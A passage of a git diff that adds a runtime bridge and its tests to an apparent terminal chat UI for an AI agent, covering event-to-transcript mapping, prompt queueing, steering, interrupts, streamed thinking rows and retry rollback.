readonly ModelCatalogRef[], + favoriteModels: readonly ModelCatalogRef[], + ): void => { + catalog = buildModelsFirstCatalog({ + providers: deps.providers, + recent: recentModels, + favorites: favoriteModels, + unconnected: deps.unconnectedProviders ?? [], + }) + host.setModels?.(catalog, describeModel) + } + + return { + ...host, + dispose, + openSurface: (kind) => openCommandSurface(host.shell, kind, surfaceDeps), + refreshModels, + refreshCostContext: pushCostContext, + } +} diff --git a/src/tui-opentui/runtime-bridge.test.ts b/src/tui-opentui/runtime-bridge.test.ts new file mode 100644 index 000000000..ec7f5327d --- /dev/null +++ b/src/tui-opentui/runtime-bridge.test.ts @@ -0,0 +1,434 @@ +import { describe, expect, test } from "bun:test" +import { + FIXTURE_BUSY_SESSION, + attachSessionBridge, + createRecordingPort, + mapReactorLike, +} from "./runtime-bridge" +import { createAppShell } from "./shell" +import { withTestRenderer } from "./harness" +import { badgeCount } from "./session-queue" + +describe("mapReactorLike", () => { + test("message.received → user", () => { + expect( + mapReactorLike({ + type: "message.received", + data: { message: { content: "hi" } }, + }), + ).toEqual([{ type: "user", text: "hi" }]) + }) + + test("mapReactorLike tool.done types", () => { + const mapped = mapReactorLike({ + type: "tool.done", + data: { + result: { + callId: "c1", + name: "bash", + content: "ok", + isError: false, + }, + }, + }) + expect(mapped.map((e) => e.type)).toEqual(["tool_result", "tool.boundary"]) + }) + + test("unknown types map to empty", () => { + expect(mapReactorLike({ type: "inference.usage", data: {} })).toEqual([]) + }) +}) + +describe("attachSessionBridge", () => { + test("fixture paints user / assistant / tool through shell", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const port = createRecordingPort() + const bridge = attachSessionBridge(shell, port) + try { + bridge.play(FIXTURE_BUSY_SESSION) + // Assistant rows are markdown; their blocks highlight asynchronously. + await new Promise((resolve) => setTimeout(resolve, 250)) + await h.renderOnce() + const frame = h.captureCharFrame() + // Sticky follows the tail; early user line may scroll off. + expect(shell.lineCount).toBeGreaterThanOrEqual(3) + expect(frame).toContain("I'll list the directory.") + // The call and its output are one row: the command stays the subject + // and the listing sits behind the expand arrow. + expect(frame).toContain("Bash ls -la") + expect(frame).not.toContain("AGENTS.md") + expect(frame).toContain("Done") + expect(shell.session.run).toBe("idle") + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Enter mid-run hits port.enqueue; badge tracks depth", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "busy", + }) + const port = createRecordingPort() + const bridge = attachSessionBridge(shell, port) + try { + shell.prompt.value = "queued please" + shell.prompt.submit() + await h.renderOnce() + expect(port.calls.some((c) => c.op === "enqueue")).toBe(true) + const enq = port.calls.find((c) => c.op === "enqueue") + expect(enq).toEqual({ + op: "enqueue", + text: "queued please", + kind: "queue", + }) + expect(badgeCount(shell.session)).toBe(1) + expect(shell.pendingQueue).toBe(1) + const frame = h.captureCharFrame() + expect(frame).toMatch(/queue\s+1|pending\s+1|·\s*1/) + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Alt+Enter mid-run hits port.enqueue steer", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "busy", + }) + const port = createRecordingPort() + const bridge = attachSessionBridge(shell, port) + try { + // Direct bridge path (Alt+Enter chord is terminal-dependent in mock). + bridge.submit("steer now", "steer") + await h.renderOnce() + const enq = port.calls.find((c) => c.op === "enqueue") + expect(enq).toEqual({ + op: "enqueue", + text: "steer now", + kind: "steer", + }) + expect(badgeCount(shell.session)).toBe(1) + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Ctrl+C hits port.interrupt and clears pending", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: true, + run: "busy", + }) + const port = createRecordingPort() + const bridge = attachSessionBridge(shell, port) + try { + bridge.submit("a", "queue") + bridge.submit("b", "steer") + expect(badgeCount(shell.session)).toBe(2) + port.clear() + h.pressKey("c", { ctrl: true }) + await h.renderOnce() + expect(port.calls.some((c) => c.op === "interrupt")).toBe(true) + expect(badgeCount(shell.session)).toBe(0) + expect(shell.session.interruptFlash).toBe(true) + expect(shell.session.run).toBe("idle") + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("queued item delivers at tool.boundary", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "busy", + }) + const port = createRecordingPort() + const bridge = attachSessionBridge(shell, port) + try { + bridge.submit("follow up", "queue") + expect(badgeCount(shell.session)).toBe(1) + port.clear() + bridge.handle({ + type: "tool.done", + data: { + result: { + callId: "c9", + name: "bash", + content: "ok", + isError: false, + }, + }, + }) + expect(badgeCount(shell.session)).toBe(0) + const deliver = port.calls.find((c) => c.op === "deliver") + expect(deliver).toEqual({ + op: "deliver", + item: expect.objectContaining({ + text: "follow up", + kind: "queue", + }), + }) + await h.renderOnce() + const frame = h.captureCharFrame() + expect(frame).toContain("follow up") + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("token-by-token deltas grow one assistant row", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const bridge = attachSessionBridge(shell, createRecordingPort()) + try { + const tokens = "Hello there, this is one streamed reply.".split(" ") + bridge.handle({ type: "inference.start", data: {} }) + for (const token of tokens) { + bridge.handle({ + type: "inference.text.delta", + data: { token: `${token} ` }, + }) + } + bridge.handle({ type: "inference.done", data: {} }) + bridge.handle({ type: "reactor.done", data: {} }) + + const assistant = shell.streamLog.filter((r) => r.role === "assistant") + expect(assistant).toHaveLength(1) + expect(assistant[0]?.text.trim()).toBe( + "Hello there, this is one streamed reply.", + ) + expect(assistant[0]?.streaming).toBe(false) + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("thinking deltas coalesce and never become plain system rows", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const bridge = attachSessionBridge(shell, createRecordingPort()) + try { + bridge.handle({ type: "inference.start", data: {} }) + for (const token of ["The ", "user ", "said ", "hi."]) { + bridge.handle({ + type: "inference.thinking.delta", + data: { token }, + }) + } + bridge.handle({ type: "inference.text.delta", data: { token: "Hi!" } }) + bridge.handle({ type: "reactor.done", data: {} }) + + const system = shell.streamLog.filter((r) => r.role === "system") + expect(system.every((r) => r.meta === "thinking")).toBe(true) + const thinking = system.filter((r) => r.meta === "thinking") + expect(thinking).toHaveLength(1) + expect(thinking[0]?.text).toBe("The user said hi.") + expect( + shell.streamLog.filter((r) => r.role === "assistant"), + ).toHaveLength(1) + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("a submitted prompt echoes exactly once", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const bridge = attachSessionBridge(shell, createRecordingPort()) + try { + bridge.submit("hi", "immediate") + // The runtime replays the accepted prompt back onto the event stream. + bridge.handle({ + type: "message.received", + data: { message: { content: "hi" } }, + }) + expect( + shell.streamLog.filter((r) => r.role === "user" && r.text === "hi"), + ).toHaveLength(1) + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("idle submit hits sendImmediate", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const port = createRecordingPort() + const bridge = attachSessionBridge(shell, port) + try { + bridge.submit("hello", "immediate") + expect(port.calls[0]).toEqual({ + op: "sendImmediate", + text: "hello", + }) + expect(shell.session.run).toBe("busy") + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("failed sends", () => { + const errorRows = (shell: { streamLog: readonly { role: string; meta?: string; text: string }[] }) => + shell.streamLog.filter((r) => r.meta === "error").map((r) => r.text) + + test("a recognised auth expiry says what to press; anything else keeps its message", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const bridge = attachSessionBridge(shell, createRecordingPort()) + try { + bridge.handle({ + type: "inference.error", + data: { + error: { + message: 'Codex profile "default" is not authorized. Log in again.', + }, + }, + }) + bridge.handle({ + type: "inference.error", + data: { error: { message: "socket hang up" } }, + }) + + const rows = errorRows(shell) + expect(rows[0]).toContain("sign-in expired") + expect(rows[0]).toContain("/model") + expect(rows[1]).toBe("socket hang up") + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("committed inference retry", () => { + /** + * The reactor re-streams a committed attempt from a fresh inference.start + * after a same-source quota retry, so the transcript must retract the failed + * attempt rather than append the replay underneath it. + */ + const COMMITTED_RETRY_EVENTS = [ + { type: "inference.start", data: {} }, + { type: "inference.text.delta", data: { token: "partial answer" } }, + { + type: "inference.tool_call.end", + data: { name: "bash", callId: "c1", arguments: { command: "ls" } }, + }, + { + type: "inference.error", + data: { error: { category: "quota_exhausted", message: "rate limited" } }, + }, + { type: "inference.retry", data: { attempt: 1, delayMs: 0 } }, + { type: "inference.start", data: {} }, + { type: "inference.text.delta", data: { token: "final answer" } }, + { type: "inference.done", data: {} }, + { type: "reactor.done", data: {} }, + ] as const + + test("does not duplicate the failed attempt's text or strand its tool row", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const bridge = attachSessionBridge(shell, createRecordingPort()) + try { + for (const event of COMMITTED_RETRY_EVENTS) bridge.handle(event) + + const text = shell.streamLog.map((r) => r.text).join("\n") + expect(text).toContain("final answer") + expect(text).not.toContain("partial answer") + expect(shell.streamLog.filter((r) => r.pending)).toEqual([]) + } finally { + bridge.dispose() + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) diff --git a/src/tui-opentui/runtime-bridge.ts b/src/tui-opentui/runtime-bridge.ts new file mode 100644 index 000000000..6003797b6 --- /dev/null +++ b/src/tui-opentui/runtime-bridge.ts @@ -0,0 +1,940 @@ +/** + * Wave 4 runtime bridge — thin port between OpenTUI shell and session events. + * + * Inbound: fixture or reactor-like events → stream rows + run state + queue drain. + * Outbound: queue / steer / interrupt / immediate send hit SessionPort (tests record; + * later waves can bind real agent APIs). Not the production CLI entry. + */ + +import { + badgeCount, + drainOne, + enqueue, + enqueueSteer, + setRunState, + type QueueItem, + type QueueKind, +} from "./session-queue.js" +import { + appendStreamRow, + applyShellInterrupt, + clearShellBridgeHooks, + paintChrome, + paintLanding, + replaceStreamRowAt, + setLockupFrame, + setShellBridgeHooks, + setStatusFlash, + setTurnPhase, + streamRowAt, + streamRowCount, + truncateStreamRows, + type AppShell, +} from "./shell.js" +import { rampFor, rampLine } from "./ramp.js" +import { + resolveRampPhase, + resolveTurnLabel, + sendFailureText, +} from "./session-chrome.js" +import { quotaWaitSeconds, shouldAutoRetryQuota } from "./quota-retry.js" +import { + applyStallRecovery, + shouldAbortForStall, + shouldNoticeStall, + STALL_NOTICE_MESSAGE, + STALL_NOTICE_MS, + STALL_TIMEOUT_MS, +} from "./stall-watchdog.js" +import { + clearQuotaWait, + initialTurnState, + turnStateFromEvent, + turnStateBlocked, + turnStateOnInterrupt, + turnStateOnSubmit, + type TurnState, +} from "./turn-state.js" +import { + formatAttachmentSummary, + type PendingImageAttachment, +} from "../tui/image-attachments.js" +import { toolCallRow } from "./diff.js" +import { toolResultRow } from "./mcp-view.js" +import { + canCoalesceCall, + coalesceCallRows, + mergeToolRows, +} from "./tool-rows.js" +import type { StreamRow } from "./stream.js" +import { advanceRevealChars, flattenReasoningText, type Thought } from "./thinking.js" + +/** Transcript echo for a user message, annotated with its attachments. */ +function userRowText( + text: string, + attachments: readonly PendingImageAttachment[], +): string { + const summary = formatAttachmentSummary(attachments) + if (summary.length === 0) return text + return text.length === 0 ? `[${summary}]` : `${text}\n[${summary}]` +} +import { + PRODUCTION_REACTOR_TYPES, + createStreamMapContext, + mapProductionEvent, + mapReactorLike as mapReactorLikeImpl, + type BridgeInboundEvent, + type ReactorLikeEvent, + type StreamMapContext, +} from "./stream-event-map.js" + +/** Re-export map types so existing `from "./runtime-bridge"` imports keep working. */ +export type { BridgeInboundEvent, ReactorLikeEvent, StreamMapContext } + +/** Outbound actions the UI asks the session runtime to perform. */ +export type SessionPort = { + /** Idle prompt submit — deliver now. */ + sendImmediate: ( + text: string, + attachments?: readonly PendingImageAttachment[], + ) => void + /** Mid-run queue or steer accepted by the shell. */ + enqueue: (text: string, kind: QueueKind) => void + /** Hard interrupt current run. */ + interrupt: () => void + /** Queue item drained at a tool boundary (or idle). */ + deliver: (item: QueueItem) => void +} + +export type SessionPortHandlers = Partial + +/** + * Timer wiring for the quota auto-retry and stall watchdog. + * + * Everything is injectable so tests drive the clock instead of waiting on it: + * `schedule` returns its own cancel, and `now` is the only time source. + */ +export type TurnMonitorOptions = { + readonly now?: () => number + /** + * Poll period for the retry countdown and the stall check. Default 250 ms. + * While something is animating the monitor ticks faster than this; see + * `ANIMATION_TICK_MS`. + */ + readonly tickMs?: number + readonly stallTimeoutMs?: number + /** Silence after which the run says it looks stuck. Default 90 s. */ + readonly stallNoticeMs?: number + /** Registers the periodic tick; returns an unsubscribe. */ + readonly schedule?: (tick: () => void, intervalMs: number) => () => void +} + +const DEFAULT_TICK_MS = 250 + +/** + * Poll period while something on this clock is animating. + * + * The ramp traverses in `RAMP_CYCLE_MS` (1200 ms) and the landing mark runs a + * 4.6 s timeline; at 250 ms that is 5 and 19 samples respectively, so the ramp + * head jumps three cells a frame and the mark strobes. ~12 fps is the coarsest + * cadence at which both read as motion, and it costs nothing when idle because + * the monitor stops entirely then. + */ +const ANIMATION_TICK_MS = 80 + +function defaultSchedule(tick: () => void, intervalMs: number): () => void { + const handle = setInterval(tick, intervalMs) + // The monitor must never be the reason the process stays alive. + handle.unref?.() + return () => { + clearInterval(handle) + } +} + +export type SessionBridge = { + /** Apply a canonical or reactor-like event to the shell. */ + handle: (event: BridgeInboundEvent | ReactorLikeEvent) => void + /** Replay a fixture sequence. */ + play: (events: readonly (BridgeInboundEvent | ReactorLikeEvent)[]) => void + /** Operator paths — shell keys go through the same logic via exclusive hooks. */ + submit: ( + text: string, + kind: "queue" | "steer" | "immediate", + attachments?: readonly PendingImageAttachment[], + ) => void + interrupt: () => void + dispose: () => void + /** Current derived turn phase (progress label, stall clock, quota window). */ + readonly turn: TurnState + readonly shell: AppShell +} + +const NOOP_PORT: SessionPort = { + sendImmediate: () => {}, + enqueue: () => {}, + interrupt: () => {}, + deliver: () => {}, +} + +export type PortCall = + | { readonly op: "sendImmediate"; readonly text: string } + | { readonly op: "enqueue"; readonly text: string; readonly kind: QueueKind } + | { readonly op: "interrupt" } + | { readonly op: "deliver"; readonly item: QueueItem } + +export function createRecordingPort(): SessionPort & { + readonly calls: readonly PortCall[] + clear: () => void +} { + const calls: PortCall[] = [] + return { + get calls() { + return calls + }, + clear: () => { + calls.length = 0 + }, + sendImmediate: (text) => { + calls.push({ op: "sendImmediate", text }) + }, + enqueue: (text, kind) => { + calls.push({ op: "enqueue", text, kind }) + }, + interrupt: () => { + calls.push({ op: "interrupt" }) + }, + deliver: (item) => { + calls.push({ op: "deliver", item }) + }, + } +} + +function isBridgeInbound(event: { + type: string +}): event is BridgeInboundEvent { + switch (event.type) { + case "user": + case "assistant": + case "assistant.delta": + case "thinking.delta": + case "tool_call": + case "tool_result": + case "system": + case "run": + case "tool.boundary": + case "error": + return true + default: + return false + } +} + +/** + * Map a reactor-like event into zero or more canonical bridge events. + * Stateless (fixture-friendly). Live sessions use a StreamMapContext via handle. + */ +export function mapReactorLike( + event: ReactorLikeEvent, +): readonly BridgeInboundEvent[] { + return mapReactorLikeImpl(event) +} + +function rowFromInbound(event: BridgeInboundEvent): StreamRow | null { + switch (event.type) { + case "user": + return { role: "user", text: event.text } + case "assistant": + return { role: "assistant", text: event.text } + case "system": + return { role: "system", text: event.text } + case "error": + return { role: "system", text: sendFailureText(event.message), meta: "error" } + default: + return null + } +} + +/** Streaming row kinds the bridge grows in place, one row per message. */ +type OpenRowKind = "assistant" | "thinking" + +/** The transcript row deltas are currently appending to. */ +type OpenStreamRow = { + readonly kind: OpenRowKind + readonly index: number + /** Clock the row opened at, so settled reasoning can report how long it took. */ + readonly startedAt: number + text: string + /** + * Bounded-rate reveal position for a "thinking" row's scroll line. Unused + * for "assistant" rows, which paint their full markdown body as it grows. + */ + revealChars: number + /** Clock `revealChars` was last advanced from. */ + revealAt: number + /** + * Reasoning time this row already carried before the model came back to + * think again, so a folded row reports the turn's thinking, not the last + * fragment's. + */ + readonly elapsedBefore: number + /** + * Reopened row: the turn already thought once here, and this row sits above + * the tool rows that followed. It grows in its settled form rather than + * scrolling — a line crawling in the middle of the transcript reads as + * something moving that the operator did not touch. + */ + readonly folded: boolean +} + +/** The one reasoning row a turn owns, once the turn has thought at all. */ +type TurnThinking = { + readonly index: number + readonly text: string + readonly ms: number +} + +/** Blank line between the fragments a turn thought at different moments. */ +const THINKING_FRAGMENT_SEPARATOR = "\n\n" + +type BridgeBag = { + port: SessionPort + openRow: OpenStreamRow | null + /** + * Prompts already echoed locally. The runtime replays each one as + * `message.received`; without this the transcript shows the message twice. + */ + pendingEchoes: string[] + /** callId→name / delta bookkeeping for production-shaped events. */ + mapCtx: StreamMapContext + disposed: boolean + turn: TurnState + /** Last prompt actually sent — replay source for the quota auto-retry. */ + lastSentMessage: string + /** One auto-retry per rate-limit window. */ + quotaFired: boolean + now: () => number + /** Transcript row each in-flight call occupies, so its result can resolve it. */ + toolRows: Map + /** Row of the newest in-flight call, for results that carry no call id. */ + lastToolRow: number + /** + * Row index where the inference attempt in progress began, or null when no + * boundary is armed. The mapper decides when to mark, clear and roll back; + * the row index is the bridge's to keep. + */ + attemptRow: number | null + /** + * Reasoning row of the turn in progress, or null before it thinks. Mid-turn + * thinking folds back into it instead of opening a row between tool calls: + * a turn is one run of work, and reasoning that interleaves breaks the run + * into fragments that each read as half a sentence. + */ + turnThinking: TurnThinking | null +} + +const bridges = new WeakMap() + +function resolvePort(handlers?: SessionPortHandlers): SessionPort { + return { + sendImmediate: handlers?.sendImmediate ?? NOOP_PORT.sendImmediate, + enqueue: handlers?.enqueue ?? NOOP_PORT.enqueue, + interrupt: handlers?.interrupt ?? NOOP_PORT.interrupt, + deliver: handlers?.deliver ?? NOOP_PORT.deliver, + } +} + +/** + * Prompt text without the attachment note. The local echo and the runtime's + * `message.received` word that note differently, so echoes match on content. + */ +function promptContent(text: string): string { + const note = text.indexOf("\n[") + return (note === -1 ? text : text.slice(0, note)).trim() +} + +/** True when this inbound user message is one the shell already painted. */ +function consumeEcho(bag: BridgeBag, text: string): boolean { + const index = bag.pendingEchoes.indexOf(promptContent(text)) + if (index === -1) return false + bag.pendingEchoes.splice(index, 1) + return true +} + +function openRowContent( + kind: OpenRowKind, + text: string, + streaming: boolean, + thought?: Thought, + revealChars?: number, +): StreamRow { + if (kind === "assistant") return { role: "assistant", text, streaming } + return { + role: "system", + text, + meta: "thinking", + streaming, + ...(thought !== undefined ? { thought } : {}), + ...(revealChars !== undefined ? { revealChars } : {}), + } +} + +/** Total reasoning an open thinking row stands for, earlier fragments included. */ +function thoughtOf(bag: BridgeBag, open: OpenStreamRow): Thought { + return { ms: open.elapsedBefore + Math.max(0, bag.now() - open.startedAt) } +} + +/** Repaint a folded reasoning row: settled in shape, still growing in text. */ +function paintFoldedRow(shell: AppShell, bag: BridgeBag, open: OpenStreamRow): void { + replaceStreamRowAt( + shell, + open.index, + openRowContent(open.kind, open.text, false, thoughtOf(bag, open)), + ) +} + +/** Finalize the open streaming row: it stops growing and stops being unstable. */ +function closeOpenRow(shell: AppShell, bag: BridgeBag): void { + const open = bag.openRow + if (open === null) return + bag.openRow = null + // Reasoning stops scrolling and keeps its opening line; the elapsed time and + // the full chain of thought stay on the row, behind the expand key. + const thought = open.kind === "thinking" ? thoughtOf(bag, open) : undefined + if (thought !== undefined) { + bag.turnThinking = { index: open.index, text: open.text, ms: thought.ms } + } + replaceStreamRowAt(shell, open.index, openRowContent(open.kind, open.text, false, thought)) +} + +/** + * Grow the open row of this kind, or start one. Deltas never append a row of + * their own — the message is a single row whose body is repainted as it fills. + */ +function growOpenRow( + shell: AppShell, + bag: BridgeBag, + kind: OpenRowKind, + text: string, +): void { + const open = bag.openRow + if (open !== null && open.kind === kind) { + open.text += text + if (open.folded) paintFoldedRow(shell, bag, open) + else if (kind === "thinking") advanceOpenReveal(shell, open, bag.now()) + else replaceStreamRowAt(shell, open.index, openRowContent(kind, open.text, true)) + return + } + closeOpenRow(shell, bag) + const now = bag.now() + const folded = kind === "thinking" ? bag.turnThinking : null + if (folded !== null) { + bag.openRow = { + kind, + index: folded.index, + text: `${folded.text}${THINKING_FRAGMENT_SEPARATOR}${text}`, + startedAt: now, + revealChars: 0, + revealAt: now, + elapsedBefore: folded.ms, + folded: true, + } + paintFoldedRow(shell, bag, bag.openRow) + return + } + const index = streamRowCount(shell) + bag.openRow = { + kind, + index, + text, + startedAt: now, + revealChars: 0, + revealAt: now, + elapsedBefore: 0, + folded: false, + } + appendStreamRow(shell, openRowContent(kind, text, true, undefined, kind === "thinking" ? 0 : undefined)) +} + +/** + * Advance a "thinking" row's reveal position at the bounded rate and repaint + * if it moved. Called on every delta and on the animation tick, so the line + * both grows with new tokens and keeps crawling through buffered text during + * a pause in arrival — capped either way by what has actually arrived. + */ +function advanceOpenReveal(shell: AppShell, open: OpenStreamRow, nowMs: number): void { + // A folded row is settled text above the turn's tool rows; it has no scroll + // line to advance. + if (open.folded) return + const available = flattenReasoningText(open.text).length + const revealed = advanceRevealChars(open.revealChars, available, nowMs - open.revealAt) + open.revealAt = nowMs + if (revealed === open.revealChars) return + open.revealChars = revealed + replaceStreamRowAt(shell, open.index, openRowContent(open.kind, open.text, true, undefined, revealed)) +} + +/** + * Paint a tool call. A repeat of the call the previous row already painted + * collapses onto that row instead of opening a new one — a model that asks the + * same question sixteen times should cost the transcript one line, not sixteen. + */ +function applyToolCall( + shell: AppShell, + bag: BridgeBag, + event: Extract, +): void { + const row = toolCallRow({ + name: event.name, + ...(event.detail !== undefined ? { arguments: event.detail } : {}), + }) + const count = streamRowCount(shell) + const tail = streamRowAt(shell, count - 1) + const index = canCoalesceCall(tail, row) ? count - 1 : count + if (tail !== undefined && index < count) { + replaceStreamRowAt(shell, index, coalesceCallRows(tail, row)) + } else { + appendStreamRow(shell, row) + } + if (event.callId !== undefined) bag.toolRows.set(event.callId, index) + bag.lastToolRow = index +} + +/** + * Fold a tool result into the row its call opened. A result whose call is not + * on the log (a bridge that saw only the answer) still gets a row of its own — + * losing it would be worse than an unpaired line. + */ +function applyToolResult( + shell: AppShell, + bag: BridgeBag, + event: Extract, +): void { + const result = toolResultRow({ + name: event.name, + content: event.detail ?? (event.isError ? "error" : "ok"), + isError: event.isError === true, + }) + const tracked = + event.callId !== undefined ? bag.toolRows.get(event.callId) : undefined + if (event.callId !== undefined) bag.toolRows.delete(event.callId) + const index = tracked ?? bag.lastToolRow + const call = streamRowAt(shell, index) + if (call === undefined || call.pending !== true) { + appendStreamRow(shell, result) + return + } + replaceStreamRowAt(shell, index, mergeToolRows(call, result)) +} + +/** + * Retract everything the failed attempt painted, then forget the row + * bookkeeping that pointed into it — a rolled-back tool call has no row left + * to resolve, and a rolled-back reasoning row is no longer there to fold into. + */ +function rollbackAttempt(shell: AppShell, bag: BridgeBag): void { + const boundary = bag.attemptRow + bag.attemptRow = null + if (boundary === null || boundary >= streamRowCount(shell)) return + truncateStreamRows(shell, boundary) + for (const [callId, index] of [...bag.toolRows]) { + if (index >= boundary) bag.toolRows.delete(callId) + } + if (bag.lastToolRow >= boundary) bag.lastToolRow = -1 + if (bag.turnThinking !== null && bag.turnThinking.index >= boundary) { + bag.turnThinking = null + } + paintChrome(shell) +} + +function drainAtBoundary(shell: AppShell, bag: BridgeBag): void { + for (;;) { + const { state, item } = drainOne(shell.session) + if (!item) break + shell.session = state + appendStreamRow(shell, { + role: "user", + text: userRowText(item.text, item.attachments ?? []), + meta: item.kind === "steer" ? "steer" : "queued", + }) + bag.pendingEchoes.push(item.text.trim()) + bag.port.deliver(item) + } + paintChrome(shell) +} + +function applyInbound( + shell: AppShell, + bag: BridgeBag, + event: BridgeInboundEvent, +): void { + if (bag.disposed) return + + if (event.type === "assistant.delta") { + growOpenRow(shell, bag, "assistant", event.text) + return + } + + if (event.type === "thinking.delta") { + growOpenRow(shell, bag, "thinking", event.text) + return + } + + closeOpenRow(shell, bag) + + if (event.type === "attempt") { + if (event.action === "mark") bag.attemptRow = streamRowCount(shell) + else if (event.action === "clear") bag.attemptRow = null + else rollbackAttempt(shell, bag) + return + } + + // A new turn gets a new reasoning row; only within one turn does thinking + // fold back into the row it already owns. + if (event.type === "user") bag.turnThinking = null + + if (event.type === "user" && consumeEcho(bag, event.text)) return + + if (event.type === "run") { + if (event.state === "idle") bag.turnThinking = null + shell.session = setRunState(shell.session, event.state) + paintChrome(shell) + if (event.state === "idle") { + drainAtBoundary(shell, bag) + } + return + } + + if (event.type === "tool.boundary") { + drainAtBoundary(shell, bag) + return + } + + if (event.type === "tool_call") { + applyToolCall(shell, bag, event) + paintChrome(shell) + return + } + + if (event.type === "tool_result") { + applyToolResult(shell, bag, event) + paintChrome(shell) + return + } + + const row = rowFromInbound(event) + if (row) appendStreamRow(shell, row) + paintChrome(shell) +} + +/** + * Attach a session bridge to a shell. Operator submit/interrupt go through + * the port; inbound events paint the transcript and drain at tool boundaries. + */ +export function attachSessionBridge( + shell: AppShell, + handlers?: SessionPortHandlers, + monitor?: TurnMonitorOptions, +): SessionBridge { + const existing = bridges.get(shell) + if (existing) { + existing.disposed = true + } + + const now = monitor?.now ?? (() => Date.now()) + const stallTimeoutMs = monitor?.stallTimeoutMs ?? STALL_TIMEOUT_MS + const stallNoticeMs = monitor?.stallNoticeMs ?? STALL_NOTICE_MS + + const bag: BridgeBag = { + port: resolvePort(handlers), + openRow: null, + pendingEchoes: [], + mapCtx: createStreamMapContext(), + disposed: false, + turn: initialTurnState(now()), + lastSentMessage: "", + quotaFired: false, + now, + toolRows: new Map(), + lastToolRow: -1, + attemptRow: null, + turnThinking: null, + } + bridges.set(shell, bag) + + const frozenTickMs = monitor?.tickMs ?? DEFAULT_TICK_MS + const animationTickMs = Math.min(frozenTickMs, ANIMATION_TICK_MS) + + /** + * Current cadence, or null while the monitor is stopped. Every paint resolves + * this, so the loop speeds up on the frame a turn starts animating and stops + * on the frame it settles — one timer, never two. + */ + let cadenceMs: number | null = null + let stopTick: (() => void) | undefined + const schedule = monitor?.schedule ?? defaultSchedule + + const applyCadence = (next: number | null): void => { + if (monitor === undefined || cadenceMs === next) return + stopTick?.() + stopTick = undefined + cadenceMs = next + if (next !== null) { + stopTick = schedule(() => { + tick() + }, next) + } + } + + const paintPhase = (): void => { + // The gate overlay is the only "blocked" signal the shell sees; the gate + // wiring resolves approvals itself and emits no bridge event. + const gated = + shell.overlayKind === "permissions" || shell.overlayKind === "operator" + const turn = gated ? turnStateBlocked(bag.turn) : bag.turn + // The landing mark rides this same re-entry: it animates through the + // draw/fill loop while a turn is live and holds its filled frame otherwise. + paintLanding(shell, now(), turn.isProcessing) + // The reveal position rides the same re-entry as the ramp and landing + // mark: it needs to keep crawling through already-arrived text even when + // no new delta has landed this tick. + if (bag.openRow !== null && bag.openRow.kind === "thinking") { + advanceOpenReveal(shell, bag.openRow, now()) + } + const input = { + isProcessing: turn.isProcessing, + status: turn.status, + awaitingResponse: turn.awaitingResponse, + currentToolName: turn.currentToolName, + streamingType: turn.streamingType, + streamTokenCount: turn.streamTokenCount, + } + const label = resolveTurnLabel(input) + // The bottom-left status slot rides the same re-entry as the landing mark, + // so it crossfades between phases without a timer of its own. + setLockupFrame(shell, now(), turn.isProcessing, label ?? null) + if (label === undefined) { + setTurnPhase(shell, null) + // Nothing animates and nothing is being waited on, so the loop stops + // rather than repainting an unchanging frame forever. The next event + // re-enters here and re-arms it. + applyCadence(bag.turn.quota !== null ? frozenTickMs : null) + return + } + // The monitor tick re-enters here, so reading the clock is all the + // animation the ramp needs — no second timer. + const ramp = rampFor({ phase: resolveRampPhase(input), nowMs: now() }) + setTurnPhase(shell, rampLine(ramp, label)) + // A frozen ramp (blocked on a gate) still needs the stall and quota clocks, + // just not animation frames. + applyCadence(ramp.animating ? animationTickMs : frozenTickMs) + } + + /** True when this event is what ended the turn. */ + const noteEvent = (event: { type: string; data?: unknown }): boolean => { + const before = bag.turn + bag.turn = turnStateFromEvent(bag.turn, event, now()) + // A fresh rate-limit window re-arms the single auto-retry. + if (bag.turn.quota !== null && bag.turn.quota !== before.quota) { + bag.quotaFired = false + } + paintPhase() + return before.isProcessing && !bag.turn.isProcessing + } + + /** + * A settled turn hands the session back to the operator. A chat session's + * terminator is `connector.reply`, which maps to no `run` event, so without + * this the shell would stay busy — offering the stop 